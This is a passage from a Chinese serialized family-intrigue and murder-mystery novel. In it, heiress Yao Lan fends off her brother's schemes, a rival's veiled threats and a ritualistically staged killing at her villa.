姚坤一把抄起送到眼前的水,一个反手就泼到姚岚脸上。 姚岚不闪不避,任由那杯水迎面浇下。 而且她连擦都不擦,只是垂着眼睛。 这下反倒是姚坤愣了,他没有乘胜追击,反而第一时间看向周围的上方。 “你算计我。”他自言自语道。 姚岚缓了缓才抬眼,说:“如果发脾气就能拿走资源,我一定会比大哥更擅长。” 这话刚落,就听到屋子一角传来一声轻咳。 屋里两人一同看过去,这才发现那里站了个人,也不知道来了多久。 倪泽晟手里拿了一块毛巾,像是刚从浴室出来,笑容里有几分歉意:“抱歉,我不是故意打搅你们兄妹叙旧,只不过浴室和外面的泳池相连,我走着走着就进来了……” 说话间,倪泽晟已经来到姚岚和姚坤中间,侧了下身,将毛巾递向姚岚。 姚岚接过,若无其事地擦掉脸上残留的水分,上来便说:“我还以为你已经走了。” “坤总邀请我留几天,怎么好驳面子。”倪泽晟接道。 姚岚古怪地扫去一眼,没有多言,也没兴趣再理会姚坤,脚下一转便走向门口。 不知过了多久,身后有人跟了上来,既不拦她,也不出声,就这样跟了半分钟。 直到经过庭院回廊,姚岚才站住脚,头也不回地问:“你有自己的住处,一来一回也不算远。你到底想干什么?” 回应姚岚的先是一声叹息,接着便听倪泽晟反问:“为什么你对我戒心这么重?” 姚岚也很直接:“因为我想不出来我大哥和你会有什么良性合作,而且不是以针对我为前提的。” “怎么会呢?”倪泽晟姚岚左手边,就在廊边坐下,斜倚着栏杆说,“我什么时候害过你?反倒是你,伤过我的心。” 姚岚用余光扫过去。 倪泽晟又道:“其实我留下会对你更有利。如果你大哥真要做什么,我也好给你透风。你想想看,过去这些年,我什么时候让你为难过?” 姚岚却说:“你掺和进来,就是让我为难,也会让你哥难做。” 倪泽熙的眼神有一瞬间的转变,但很快,快得让人抓不到。 光影略过他的眉眼,他侧过头,看着前方慢悠悠地说:“我知道有些东西对你很重要,甚至胜过一切,否则你就不会……” 姚岚则像是早有预料,直接一个眼刀飞过去,将其打断:“你是不是想威胁我。” 倪泽熙站起身,插着口袋轻笑:“就算是,你怕了吗?” 回廊外不远处,肖越已经就位,且面带警惕,似乎只要姚岚一句话,他就会冲上来。 而回廊内依然剑拔弩张。 “呵。”只听一声冷哼,姚岚盯着倪泽晟,用态度回应他。 倪泽晟却微微倾斜上半身,在她耳边说了句什么。 从肖越的角度只能看到姚岚的背影,却看不出她有任何变化。 直到倪泽晟直起身,转头走向回廊的尽头,肖越才快速上前,在姚岚身边站定。 “姐,没事吧?” 姚岚的脸色并不算好看,却只是眨了一下眼,低语:“好得很。” 16. Chapter 15 Chapter15 直到几分钟后,姚岚回到临时落脚的套间里,才缓了一口气。但她没歇着,也没时间浪费,第一时间将电话拨给堂弟姚珹。 电话接通了,手机另一头出现姚珹温润的脸。 他看上去有一丝疲惫,似乎还没有从三个月前姚仲春的病故中缓和过来。 姚仲春就是姚岚的姑姑,也是姚珹的生母,因一些不可对外人道的缘故,只有家里人才知道姚仲春和姚珹的这层关系,而在外人看来,姚珹只是姚家过继来的孩子。 事实上打从十年前开始,姚岚就清楚地知道在姚老爷子那里,只有姚珹才是最属意的继承人。 当然这件事不可放在明面上,一来姚珹一直都有自娘胎带出来的病根,身子骨弱,二来只有将姚珹放在暗处,姚坤在明处耀武扬威,才是对姚珹最好的保护。 也是自那时候开始,被扶上“替补者”位子的姚岚,成了姚坤最有力的竞争对手。 所有人都以为姚珹和姚岚关系近,是他想要站队姚岚,事实却是姚老爷子要将姚岚变成挡箭牌和姚珹未来最得力的左右手。 之前在车上的通话太过匆忙,这会儿安定下来,姚岚才面带关切地问:“你一切都好吗?” “好。”姚珹的笑容很浅,却真诚,“春城这边井然有序,暂时不需要你来分心。” 这算是给姚岚吃了个定心丸。 姚岚颔首:“OK。” 安静两秒,姚珹又道:“另外还有件事要给你提个醒。姚坤一直在查你。” 【看来那些调查都是真的,他俩真的有一腿。】 【可那些照片拍的也不清楚啊,距离又那么远……】 在车里听到的对话又一次浮现,姚岚接道:“其实也猜到了。他们查的应该是十年前的行踪。” 见姚珹挑眉,略带疑惑,姚岚叹了一声又道:“就是和倪泽晟那件事儿。” 仔细想来,这些年姚岚几乎没有和倪泽晟单独相处过,更不要说有什么会让人误会的亲密举动。 可姚坤和方妮的对话中却用了“有一腿”这样的字眼,还提到是有人送了照片给他们,说明那最少应该是十年前的事了。 毕竟就算现在的私家侦探本事再大,也不可能穿越时空回到过去抓拍,只有可能是在就被人捕捉到一些信息,又在这个节骨眼送到姚坤手里。 那么问题来了,当年的抓拍为什么要等十年后才派上用场?难道这个人未卜先知,知道十年后姚坤和她会针尖对麦芒? 不,这可能性极低。 那就只有一种解释:十年前偷拍的人,原本是要利用那些照片做某些文章,但因为一些原因没有做成,或是放弃了。而在十年后的今天,这个人又再次萌生出同样的念头,这才重新利用起十年前的旧事。 姚岚快速将车里的信息告知姚珹,姚珹先是惊讶,随即沉了眉眼,分析道:“不管怎么说,这个人的动机都是为了针对你。毕竟这件事要是挖出来,对你只有坏处。” 姚岚毫不遮掩自己的真实想法:“我怀疑就是倪泽晟自导自演。但没证据。” 姚珹却说:“其实也不需要证据。搜集证据只是为了跟本人对峙,但这对你来说并不重要。重要的是,照片已经落在姚坤手里了。如果你是他,你会怎么做?” 姚岚冷笑一声:“只要把照片拿给倪泽熙,在他看来就是对我最有利的打击。” “既然你已经想到了,我想以你的本事,也应该有办法化解。”姚珹说,“对方可以说这是事实,你也可以说是捕风捉影。只要解释的足够有技巧,那些照片就发挥不了作用。而这样打小报告的行为,他就只能用一次,再试就不灵了。” “我知道该怎么解释,但……” 姚珹说的也正是姚岚的思路,只不过…… “你有顾虑?” “我知道我的解释一定会被倪泽熙接受,结果就是他选择相信我,并对姚坤心存芥蒂。但这些都是只表面。” 姚珹拧了下眉:“你的意思是,倪泽熙心里会有另一种看法?” 姚岚安静片刻,半晌才抬起眉眼,不置可否地说:“他是个城府极深的人。” 姚珹有一丝恍然:“你担心他心里的想法,会左右你在麦城未来的行动?” 姚岚却摇了摇头,转而说道:“我在这里三年,他是帮了不少忙。但也从中拿了不少好处。他每一次出手,都是看中这件事最终对他是有利的这一点。如果不是,他就会用一种比较委婉且不伤害我们表面关系的方式拒绝。经过几次之后,我逐渐摸清楚他的节奏,所以后面我再开口,都是对他利好的事儿,而他也再没有拒绝过。” 闻言,姚珹好一会儿没有言语。 在外人看来,姚岚对倪泽熙是一往情深:大陆富家女迷恋一个被海外华商过继的“穷小子”,而这穷小子却是个潜力股,不仅青出于蓝,还成功接手华商的企业。这样的故事听上去不仅多了几分浪漫,还很符合言情文的节奏。 然而真实情况呢? 姚珹一早就知道姚岚的真正心思,所谓的“联姻”就是一种利益结合,或许有点“爱情”更好,会令整件事看上去更美好更顺理成章。 直到姚岚再次开口:“如果只从利益角度出发,我其实并不担心姚坤去倪泽熙面前说嘴。只要我能给出更好的条件,姚坤的伎俩就不会奏效。” “既然如此,你还在担心什么?”姚珹先是提出疑问,随即又道,“难道是因为倪泽晟?” 姚岚无声地叹了口气,虽然看上去依然平静,眉宇间却暗藏风雨:“他是一个不可控的变数。我也吃不准他会怎么做。” “也许他只是想看你的态度,要你稳住他。” “可他是一个非常贪心的人,就算我能稳住一时,到下一次他只会变本加厉。我的筹码越给越多,他的赌桌根本没有上限。” 姚珹若有所思地点了下头,直接问:“那有什么我可帮你的?” “有。”姚岚目光坚定,“我知道你最近就会去法国,帮我保住一个人的命,还要将她彻底藏起来,不能告诉任何人。最好是所有人都想不到这件事是你做的,只要想不到,她才会绝对安全。” “你指的是谁?”姚珹露出一丝笑意。 只听姚岚说:“许立荣的女儿,她现在就在法国留学。” …… 和姚珹通话结束,还不到五分钟,姚岚便接到了倪泽熙的电话。 没等倪泽熙开口,她就抢先一步问:“听说你公司出事了?你也受了伤?现在怎么样,严重吗?到底是谁死了……” 姚岚一连问出好几个问题,视频中的面容也透着担忧和焦急。 接着又为自己解释道:“我本来想赶过去,但我大哥突然来了……我一直没机会抽身。你也知道,他有多难缠。” 如果只看此时两人的表现,还真以为这是一对情真意切的情侣。 而镜头里的倪泽熙看上去也不像是刚经历过命案,只是笑容中多了几分不安:“其实我没事,只是手被玻璃划伤了。” 说话间,他抬起左手,刚好令姚岚看到被纱布包裹住的手指。 他随即又道:“也没有人死,起码到目前为止,刘副总还活着,已经送到医院了。” 刘副总? 姚岚问:“就是一直针对你那个刘叔?” “嗯。”倪泽熙眨了下眼,语气中似有惋惜,“虽然他平时对我那个态度,但看到今天他这副模样,我心里还是很难过。我倒宁愿每天都看到他中气十足、耀武扬威的样子。” “你也不要太担心了,吉人自有天相。”姚岚虚应了一句安慰,又问,“到底出了什么事?为什么传来的消息说是发生‘命案’?” 倪泽熙这才皱了皱眉,有些不确定道:“暂时还不知道具体的缘 由,不过可以肯定的是,凶手是用刀子刺伤刘叔,有几刀还逼近要害。但这个人到底是谁,还不知道,也许他现在还在公司,甚至就是寰宇的员工。” 姚岚好一会儿没接话,只是消化着这些听上去既不可思议又真实存在的信息,并试图去想象那个画面。 “查过公司的安保系统吗?”姚岚追问。 倪泽熙回道:“不只是安保,还有出事前刘叔都接触过什么人,有谁知道他去了哪里,谁是最后一个见到他的人,要查的东西很多。不管怎么样,早晚都能弄清事实。而且我们已经报警了,我相信有警方介入会更快一点。不过……” “不过什么?” “哦,也没什么,只不过是其中两位股东,他们有点排斥报警,还说希望交给内部调查,以免损坏公司的名声。” “都这个时候了,怎么能依赖内部处理呢?好在现在是没闹出人命,万一人死了呢?” “我也是这么说。” 姚岚看着倪泽熙难以舒展的眉宇,轻叹道:“无论如何你都尽力了。刚坐上这个位子,就出了这样的事儿,换做我是你,我也会很烦。但你千万不要往心里去,这不是你的错,这种事谁都不想。” “道理我都懂,放心吧。”倪泽熙笑了下,看上去很勉强。 姚岚心思一转,垂下眼状似犹豫,片刻后才试探道:“本来有件事不该现在告诉你的,毕竟你现在很烦……但我又怕稍后你从其他什么人口中得知,会怪我。” “你指的是什么?”倪泽熙的注意力似乎被抽离出来,先是面露好奇,随即又道,“你刚才说你大哥来了,是这件事吗?我暂时可能还过不去,等我把这边处理好,我会过去拜会。” “不,你不用来。”姚岚接道,“我只是想告诉你,他这次来,身边还多了一个人。” 倪泽熙扬起眉宇。 只听姚岚说:“是泽晟。” 也就是这个瞬间,她看到倪泽熙眼底的情绪从好奇变成了怔忪,沉淀之后仿佛还多了几分疑惑和一些她看不懂的情绪。 姚岚接着说:“他们是在新加坡偶遇的。” 她刻意加重“偶遇”两字,又道:“我从来没有介绍过他们认识,也不可能这样做。这次在机场见到两人,我也很意外。” 这话落地,姚岚就静待倪泽熙的反应。 直到倪泽熙像是自言自语地说:“泽晟,什么时候去的新加坡……” “我没有问。” “那他现在人呢?已经回工作室了吗?” “没有,他和我大哥、大嫂,包括他们整个团队,都留在月光别院。听那意思,应该是我大哥又看上几个艺术品,而泽晟是他引路人。” 姚岚故意放慢语速,同时不动声色地观察倪泽熙的情绪变化,特别是那些长久以来迷惑她的,令她始终看不清楚的,独属于倪泽熙的微表情。 他究竟是个怎样的人? 作为男人,他最大的属性是什么,劣根性是什么,极力想要隐藏,不希望被人看破的又是什么? 当然,他对外一项是完美无缺的,哪怕是私底下面对她。 然而越是这样,她就越觉得这个人不够真实。 哪有人这么完美呢?一言一行,甚至每个字都从未透露出他的潜在特质,一点缺点都让人抓不到? 而这种越是让人找不到缺点和弱点的人,越说明那东西对他有多致命。 至于倪泽熙和倪泽晟,他们兄弟所表现出来的氛围,总给她一种矛盾和违和感。 她知道这两人之间一定是发生过什么事,而那件事还是个死结。 或许只有找到它,才能搞清楚一切。 不知过了多久,倪泽熙瞬息万变的表情终于归于平静:“引路人。” 他先是意有所指地重复这三个字,随即话锋一转,带了几分歉意望向姚岚:“恐怕他又要给你添麻烦了。” 17. Chapter 16 Chapter16 倪泽晟何止是添麻烦,他本人就是个“麻烦”。 原本姚岚并不想去别院的餐厅吃晚餐,去了就意味着应酬,偏偏现在别院里的人都是她懒得应酬的人。 可姚坤也不知道怎么想的,竟然叫人来请她三次。 果然,姚岚刚来到餐厅,就见坐在主位的姚坤和左手边的倪泽晟正在畅聊,话题还是围绕着收藏和艺术品投资。 姚岚入座后只是品了品餐前酒,便低头刷手机。 也不知道过了多久,姚坤提到一个他自己颇为得意的来自意大利的雕塑作品,还从手机里翻出照片给倪泽晟看。 姚岚抬了抬眼皮,注意力终于被吸引过去。 姚坤还说:“你别看这是一百年前的作品,又是外国人做,实际上它很符合咱们中国人讲究的风水。我专门找师父算过,无论是黄金比例,包含的元素,象征的意义,都非常利于生财。它现在就在我们春城的房子里,一进大门就能看到。你还别说,自从有了它,感觉每件事都很顺!” “哦?”倪泽晟耷眼一看,原本浅淡的笑容又深了几分,随即说道:“无论中外,能流传百年的作品都是值得反复品味的,不会因为历史变革就失去自身价值,反而会越陈越香。” 接着倪泽晟又针对这座雕塑夸了几个点,听得姚坤十分开心,直说倪泽晟不愧是行家,随便几句话就说到核心,和那个风水大师的观点有异曲同工之妙。 片刻后,方妮也来了。 她一坐下来,就将话题引到另一个方向:“泽晟,我听说做你们这行挺辛苦的。说那些成名的艺术家都要吃几十年的苦,还有一些死后才大红大紫,真是这样吗?” “的确。”倪泽晟含蓄道。 “欸,那你算是非常幸运喽?你看你还这么年轻,就获得这么高的成就!” “我哪儿算艺术家啊,只是帮人相看,自己可没有一件作品入过拍卖行,市场上更没有叫价。我就是因为知道自己在创作方面不行,才转做掮客。” “哦,是这样……可我觉得你已经很成功了,大家都相信你的话,说明你不仅有眼光,而且讲诚信。现在这个社会啊,信誉才是第一位的。” 话题走到一半,方妮又话锋一转,问了句:“不是我八卦,纯粹是出于好奇。都说男人奔事业是为了出人头地,为了享受那种高高在上的成就感,你呢,也是这样想的吗?” 倪泽晟原本和煦的目光终于有了一丝变化,他先是垂下眼,在方妮以为他不会回答的时候,才突然开口:“大概是憋了一口气吧,想向某些人证明我可以成功。作用名誉、地位、财富,受人敬仰,并不一定要走商界。成功是没有固定标准的,也不应该被随意定义。” 听到这话,一直慢条斯理吃饭的姚岚下意识瞥过去一眼,恰好倪泽晟也朝这边扫来。 不到一秒钟,倪泽晟再度看向姚坤和方妮,只听方妮说:“你已经做到了。” 倪泽晟却说:“不,还不够。起码要成为第一。” 这话刚落,姚坤的助手从餐厅外快步进来,来到姚坤身旁低声说了句话。 姚坤立刻道:“快请。” 请谁? 姚岚刚生出疑问,肖越也进来了,说:“坤总请了一位阿赞,这会儿就在前院。” 从餐厅的窗户可以看到前院的景致,只见一个陌生人正在院子里徘徊,还掐着指念念有词。 只一眼,姚岚就失去奉陪的兴趣,也懒得废话,径直走出餐厅,往卧室去。 走到一半,方妮追了上来,边走边说:“岚岚,你可千万别介意啊。你也知道,你大哥这个人讲风水,走到哪里都要算得明明白白才安心。本来还打算吃饭的时候问你几个问题,这不一说别的就忘了吗……” 姚岚半真半假地笑道:“我明白的,大嫂。” 这之后的事儿姚岚没有再过问,只听肖越说,那位阿赞也住了下来。 幸而直到睡觉前,别院里都没有再起波澜,如果不算凌晨时倪泽晟发来的那几张图片的话。 他还附带了这样一句话:“YvonneNardi的雕塑名作?真是巧,我手里刚好有这位百年艺术大师的整个创作过程视频。如果我将它发给坤总,你猜他会怎么做?” 姚岚没有回,有时候对于一些无聊的人做的无聊事,多给一个眼神都是恩赐。 …… 就这样,一夜无梦,一切都安静得不可思议。 直至翌日清晨,月光别院宁静祥和的氛围,被一声异常的尖叫声打破了。

别院里负责打扫的佣人和姚坤团队的人第一时间赶了过去,肖越快速查看了情况,便直奔姚岚住的套间。 此时的姚岚刚睡醒,见天色还没大亮,便趁着做面膜的功夫刷了几则中外时政新闻,收了几封邮件。 宽敞的屋子里弥漫着咖啡香,面膜揭开时咖啡刚好可以入口。 她不紧不慢地喝了半杯,直到肖越进门。 姚岚又倒了一杯咖啡,递给肖越。 肖越接过却没急着喝,而是端在手里,沉着眼色说:“昨晚来的那个阿赞,死在佛堂了。” 闻言,姚岚原本波澜不兴的眸光也泛起一丝波动。 很意外,也的确超出预料。 她想到姚坤会有动作,却想不到是这么玩——专程请个风水师来,只是为了杀了他? 不,这不像是姚坤的风格。 不到一秒,姚岚就在心里推翻猜测。 肖越见姚岚不说话,又道:“已经报过警了。现场保护得还算完整,不过按照经验,这屋子里的人都会被视为调查对象。” 姚岚依然没有言语,只是走向窗边,就站在落地窗前往外看,片刻后才扶着额角说:“姚坤的反应呢?” “吓得不轻,整个医疗团队都在照顾他。”肖越边回忆刚才所见边说,“感觉不太像是演的。如果是,那只能说他的演技又上了一层。” 姚岚再度沉默了,连呼吸都很轻,除了眉宇间逐渐凝聚起风暴,整个人像是没有任何情绪变化。 肖越关注着姚岚的反应,继续分析:“我想不明白他这么做的动机。除非他有本事将这件事直接和你挂钩,以嫌疑人的身份被警方带走,否则这对我们在麦城的后续动作根本没有影响。而且媒体那边他关系不熟,许垚接到消息后已经开始做事了,最终舆论导向不会围绕姚家任何一个人。” 从事发到现在,连半个小时都不到,肖越已经训练有素地完成所有防御部署。 过了好一会儿,才听到姚岚说:“我想去现场看看。” “为什么?”肖越诧异地问。 现在的情况摆明了,姚岚和案件的直接牵扯越少越好,只要不碰就不会被攀咬。 “只是有种感觉。”姚岚喃喃低语道,“想亲自过去确认一件事。” 18. Chapter 17 Chapter17 肖越真搞不明白有什么事儿值得姚岚亲自去现场,这就说明她要确认的事别人无法替代。 那会是什么? 这已经不是第一次肖越感到困惑,自觉跟不上姚岚思路了。 就像有人说,某某高考数学考了149分,和某某考了150分,这绝不只是1分的差距一样。 149分,是因为那是极限,而150分则是因为卷子只有150分。 姚岚就时常给肖越这样一种感觉,特别是近五年,越来越强烈。 但这并不是说,这层差距在过去不够凸显,只能说五年以前的地位、环境,所有外在因素对她都是一种束缚和局限。 【她如果不够聪明,根本活不到现在。她最聪明的地方就在于,大多时候她都不会让你感觉到这一点。只要你不觉得,她就不会成为你的威胁。】 五年前的这句话一直徘徊在肖越耳边,除此之外他还记得自己曾和姚岚讨论过姚坤这个人。 姚岚的原话是:“他做什么我都不会生气。” 肖越自小就认识她,他知道这并不是因为姚岚更善于控制情绪,而是发自内心的想法。 然而有些时候,姚坤的行为连他和许垚都气愤不已,就像是他们齐心协力、费尽心思做了一块完美的蛋糕,这时候偏偏有个人跳出来要将蛋糕推到地上。 而按照姚岚的话说就是:“一块完美的蛋糕,一定会有人想分一口,还有一些人,自己吃不到,就宁可看着它毁掉。就算没有姚坤,也会有其他人来干这件事。既然一切都在预判之内,发生了又何必生气——重点是如何解决。当然,姚坤和那些人是有些不同,如果换一个人,我可以从根上解决问题,但如果是姚坤,我的阻碍会更多,姚家对他的庇护也会更多,无法从根上解决,就只能周旋。但有时候换个角度看,周旋反而是更有利的。” 回忆走到这里,肖越醒过神,已经再次来到月光别院的后院佛堂前。 他挡住了佛堂虚掩的门,转身对姚岚说:“你要有个心理准备。” 姚岚目光沉淀,只点了下头。 肖越这才将手套和鞋套交到她手里,看着她穿戴的同时又道:“估计还有十五分钟,王探长就会到。” 姚岚没吭声,穿戴好一切,又摸了下头发。 肖越见状,便从手腕上摘掉一根纯黑色的手绳,绕到姚岚身后,一手将她齐肩的发尾捏住,用绳子将其扎上。 姚岚的目光始终看向前面,透过虚掩的门缝,似乎看到了一道人影,还嗅到一阵阵檀香味儿。 “好了。”直到肖越落下这两个字,转身去推门。 门开了,姚岚没有波动的面容,这才有了一丝细微变化,是意外。 踏进门口,就见到一尊头顶几乎碰到房梁的地藏菩萨雕像,它面前有三个蒲团,而死者的膝盖就落在中间的蒲团上。 那是一种趴跪的姿势,他的双手在后腰处合拢,额头触地。身上的衣服并不算皱,这说明他死前没有经历过剧烈挣扎,而且周身没有一道明显的血痕,四周更没有大滩血迹。 姚岚立在门内好一会儿,直到将最直观的这一幕尽收眼底,消化完所有信息才抬脚。 而她之所以感到意外,说到底还是对于凶手的创意太缺乏想象力了,肖越之前也没有形容过现场是这样诡异。 她一时无法理解,也不明白凶手搞这种“死亡仪式”的动机,视线却始终没有离开过死者本身。 以死者这种反手并拢且额头触地的趴跪姿态,是很难只通过膝盖和额头两个支点保持平衡的。 特别尸体每过一段时间就会有不同变化,先是逐渐僵硬,接着又会逐渐变软,如果尸体向左或向□□斜倒在地上,就会破坏掉凶手的精心设计。 所以为了保持住造型,凶手还用一根不仔细看很难发现的细鱼线吊在横梁上,再用这根鱼线绕在死者的脖颈上。 鱼线陷入了脖颈的皮肤,并在上面勒出一道伤口,一些红中带黑的血迹顺着伤口滴落下来。这大概是整个现场唯一一点血迹了。 肖越见姚岚好一会儿不说话,便说道:“第一个发现现场的是菲佣阿May。从房子落成到挂牌,再到现在,一直都是她和另外一个人共同负责这里的日常保洁。成交的时候查过他俩的底,很干净,做这行超过十五年,经验丰富,为人也勤快,就一直延续雇佣合同。” “继续。”姚岚终于开口,脚下也终于开始挪动,就沿着屋子的边缘,从右后方绕到死者的左后方。 肖越跟上说:“我是第四个到达现场的。阿May之后,还有姚坤身边的两个人也被尖叫声吸引过来,一个是张问,另一个是高婷。” 张问是姚坤的助手,而高婷则是方妮的生活助理。 肖越继续道:“尖叫声是在早上6:15分响起的,我的距离最远,快跑到这里的时候,刚好看到张问和高婷的背影。连同阿May,我们四个都没有触碰过尸体,但阿May和张问进过这间屋子,留有足迹。阿May当时就吓得坐在那里……” 肖越指了一下尸体右后方靠近门口的位置,姚岚也扫去一眼,随即又听肖越说:“张问虽然进来过,却没有再靠近,只是蹲下来问阿May到底是怎么回事。而高婷根本不敢进门,只看了一眼就跑到走廊里,差不多三、四分钟才缓过来。我就站在门外,抓紧时间拍了几张照片。” 姚岚又看向肖越递过来的手机。 果然,其中一张抓拍,不仅拍到尸体和大半个现场,还拍到门内的张问和阿May。张问的脸转向阿May,嘴巴张着,似乎正在问话。 而另一张抓拍则是站在走廊,一手扶着柱子,另一手捂着心口的高婷。 姚岚收回视线,却也没有再看尸体,而是开始环顾四周,特别是佛堂里周围的摆设,看是否有被挪动的痕迹。 由于勤于打扫,触手可及的地方都没有灰尘留下,即便是有些东西挪动过,也很难分辨。 只听姚岚问:“你的分析是什么?” 肖越接道:“凶手肯定就是昨晚入住月光别院的人。门口的监控一直开着,要是有外人进来一定能拍到。至于别院内的监控,坤总说出于隐私保护,刚进来就让张问通知门卫关了。按理说,凶手精心布置了这场‘死亡盛宴’,一定很希望被人看到,被人讨论。而作案的人通常会返回案发现场,以便更直观地回味作案的刺激感。” 姚岚没有多言,只几不可见地点了下头。 就在这时,外面出现了一阵声响,像是来了很多人。 还听到有人问:“尸体在哪儿?你们有没有动过现场?” 话音刚落,一群人就被另一个菲佣领到门口,为首的王严云朝门里扫了一眼,刚好对上姚岚的目光。 王严云皱了下眉,又扫向一旁的肖 越,最终视线落在屋子中间的尸体身上,嘴里发出这样一声:“我去……” 这里的办案方式不比大陆严谨,王严云只吆喝了一声,随行的一队人便进屋搜证。 姚岚在门口看了片刻,转而来到走廊坐下。 不一会儿就有两名警察,分别对她和肖越进行询问。 王严云走出屋子,来到另一端,随手拿出电子烟吸了几口,时不时朝姚岚的方向看一眼,直到女警问完,要将记录递给他。 王严云摆了下手:“都听见了。” 他又收起电子烟,踱步到姚岚跟前:“你有什么想说的?有没有怀疑的对象?” “没有。”姚岚不假思索道。 这摆明了是假话,王严云“啧”了一声,朝后面看了看,又把声音压低了问:“是真没有,还是不方便说,还是不敢说,还是出于某些原因要包庇那个人?” 姚岚只抬起眼皮,像是警告似得瞪了他一眼:“你说呢?” 王严云吐了口浊气,一手撑着柱子说:“我认识你多少年了,你一个眼神我就知道憋了什么坏。我可告诉你,故意隐瞒对你没有好处。这人敢在你的地盘上犯案,就摆明了没把你放在眼里。你到底是怎么想的,还是有什么顾虑?” “事实就是……”姚岚只翻了个白眼,双手环胸地看向他,“我什么都不知道。你该问的也不是我。” 随即她站起身,径直离开走廊。 王严云刚要追上去,就被肖越拦住:“王探长,查案是你的责任,千万别搞错了。” 王严云叹了口气,正色地对上肖越:“你跟她认识最久,我不相信你看不出来,她这里,已经有名单了。” 说话间,他还指了指自己的脑袋,又道:“怎么做才对她最有利,你应该很清楚啊。” 肖越垂下目光,没有言语,但看上去却又不并非那样坚定。 王严云抓住这个瞬间,又道:“我知道有一家做越南河粉的店,很合你的口味。下回我请你?” 肖越却转身说:“我最近喜欢吃辣的,无辣不欢。” “呵。”王严云轻笑的声音飘了过去,“那就叫他们多放辣椒!” …… “姐,你是不是有……”不到一分钟,肖越便快步追上姚岚,边走边问。 可他的话还没说完,姚岚就站住脚。 只听姚岚问:“袁青的样本到国内了吗?” 袁青就是死后被凶手搬到园区排水渠里的年轻女人。 肖越回:“昨天已经送到了,不过鉴定结果还要等几天。” 这话落地,他想了想,又飞快地问:“这两个案子有什么联系吗?” 姚岚却不答,又问了一个令肖越意想不到的问题:“除了袁青,之前死在姚家物业里的另外四个死者,他们的档案你也都有吧?拿给我看。” 肖越明显愣了一下:“可你不是说不要和你说这件事吗,最好是我们也不要插手太多,就交给警方。” “我改主意了。”姚岚只道。 “哦。” 肖越收拾好情绪,试图从姚岚脸上找出一丝端倪,或者是想明白,为什么佛堂的死者会令姚岚做出这个决定。 然而就在这时,姚坤的助手张问却出现在前方不远。 见到姚岚便箭步上前,态度一板一眼地说:“岚总,坤总的情况已经稳定了,他请您过去一趟。” 19. Chapter 18 Chapter18 姚坤的套间里不仅弥漫着药味儿和消毒水味儿,还有一股似有若无的“死气”。 这当然不是姚岚第一次闻到。她还以为会散发这种气味儿的人,通常大限将至,根本不需要任何人动手。 然而事实却是,不知该说姚坤的生命力太过旺盛,还是说他的医疗团队过于牛逼,他竟然能一次又一次挑战生命的极限。 所以这一次,姚坤依然死不了? 姚岚一边这样想着一边气定神闲地往屋里走,和鱼贯而出的医疗团队擦肩而过。 直到屋里就只剩下姚坤和张问,只见姚坤朝张问比了个手势,让他也出去,张问却犹豫了一下,又朝姚岚瞥来一眼,肢体语言明显是在担忧。 姚坤却说:“行了,要是我死在这里,她以后都别想有没好日子过。” 姚岚垂眸笑了下,这倒是不假。 脏了地方,还沾一手腥。 等张问也离开,姚岚找了个单人沙发坐下。 姚坤就靠在躺椅上,说话倒听不出多虚:“今天的事儿你怎么交代?” 还真是恶人先告状。 姚岚淡淡开口:“我还以为是大哥要跟我解释。” 姚坤冷笑:“人死在你的地盘,我解释什么?” “可这个人是你叫来的,昨晚的住宿也是你的人安排的,我的人没有插手,而且都不认识他,哪来的动机杀人呢?” “难道我就有?难道是我我特意把人叫来,特意杀了他,再特意跟你要交代?” 两人就这样僵持着,谁也说服不了对方。 直到姚坤呼了口气,再度开口:“我听说近一年来,只要你买一个物业,这个物业上就会死一个人。这已经是第六个了吧?” “大哥倒是知道得清楚,连我都没数过几个。”姚岚接道,“看来调查得很充分啊。” 姚坤又道:“这个人的确是我叫来的,那前面五个你怎么解释?” 姚岚却不接后面的话:“是啊,如果不是你叫他来,他就不会死。如果不是你坚持不住酒店,非要来这里,这里就不会出事。你的所有临时变卦都不在我的预判里,而这些变卦都是今早这场命案的前提条件。” “你是在暗示这一切都是我主导的?”姚坤一脸荒谬,“我把受害人叫过来,再杀了他,给我自己吓成这样?” “明明是大哥先暗示我设计这一切,我只不过是指出矛盾点。”姚岚始终很淡定。 “行,我是说不过你,我知道你不怕我,你眼里就没当我是你大哥,好,你可别怪我……” 说话间,姚坤从身旁拿起一直被扣放的手机,又道:“爷爷,你可都听到了。” 呵。 多大了,还玩打小报告这一套。 姚岚先是嗤之以鼻,随即起身走到姚坤那边,微笑着对另一头的姚老爷子说:“爷爷,早上好。” 瞧着姚岚一脸没事儿人似得,姚坤抢先说道:“要不是我的人提前问过,都不知道咱们姚家在这里的投资,居然发生过五次命案!就在昨天早上,园区里才死了一个。这要是让当地的合作方知道了,谁还跟咱们接触?” 姚老爷子闻言,看向姚岚,像是在等待她的回应。 姚岚坦言:“是有这么回事,不过这是两回事。盖楼的都知道,任何一个大型工地上都得死个把个人,难道就因为这个,楼就没人买了吗?关键还是看承建商怎么处理,赔偿给得到不到位。现在这五个案子只有一个上了新闻,还是经我允许,其他四件外面的人根本不知道。接下来,只要自己人别往外捅,那四个案子的调查结果就只会留在侦查局。” “你的意思好像是尽在掌握。那我问你,凶手找到了吗?”姚坤质问道。 “说起这个,原本是没有头绪的,还多亏了大哥的临时起意,将凶手的范围一下子缩小到月光别院里。” 姚坤想要继续反驳,这时却响起姚老爷子的声音:“行了,都多大了,还跟小孩子一样吵吵闹闹。” 他笑得像是个和事老,先看了姚坤,又转向姚岚,只是说出来的话让人猝不及防:“看来你最近有不少麻烦要处理。既然你大哥已经过去了,闲着也是闲着,不如就让他帮你一把。人多好办事,家和万事兴,你说对吗?” 姚岚一下子不说话了,表情也丝毫未变,只除了眼底一闪而过的锐气。 姚老爷子始终面含微笑,如同慈爱的长者一般看着姚岚。 姚坤毫不掩饰自己小人得志的嘴脸,连忙符合:“谁叫我是哥哥呢,辛苦一点是应该的,毕竟我就这一个妹妹。” …… 一直到姚岚回到自己的套间,隐忍的情绪才终于释放,向电话另一头的姚老爷子问出三个字:“为什么?” 明明前一天还决定这边的业务由她负责,是什么令他变的卦? 姚老爷子并非是一个出尔反尔、反复无常的人。 “我知道你能力强,就算有再多阻碍,都不会对你造成影响。你是一个越挫越勇的人。”姚老爷子打着太极,“所以就算是姚坤在一旁捣乱,你都会拿出更亮眼的成绩,凭你自己的本事将他踢出局。” 姚岚不说话,只是盯着屏幕,试图从姚老爷子的表情和这番话里品出别的意思。 姚老爷子又道:“当然,你现在也可以决定放弃,放弃麦城的一切,或是放弃调查凶手,你选一样,将它交给你大哥。我绝对支持你的决定。” 放弃?这根本不是她的风格,而是无能的表现。 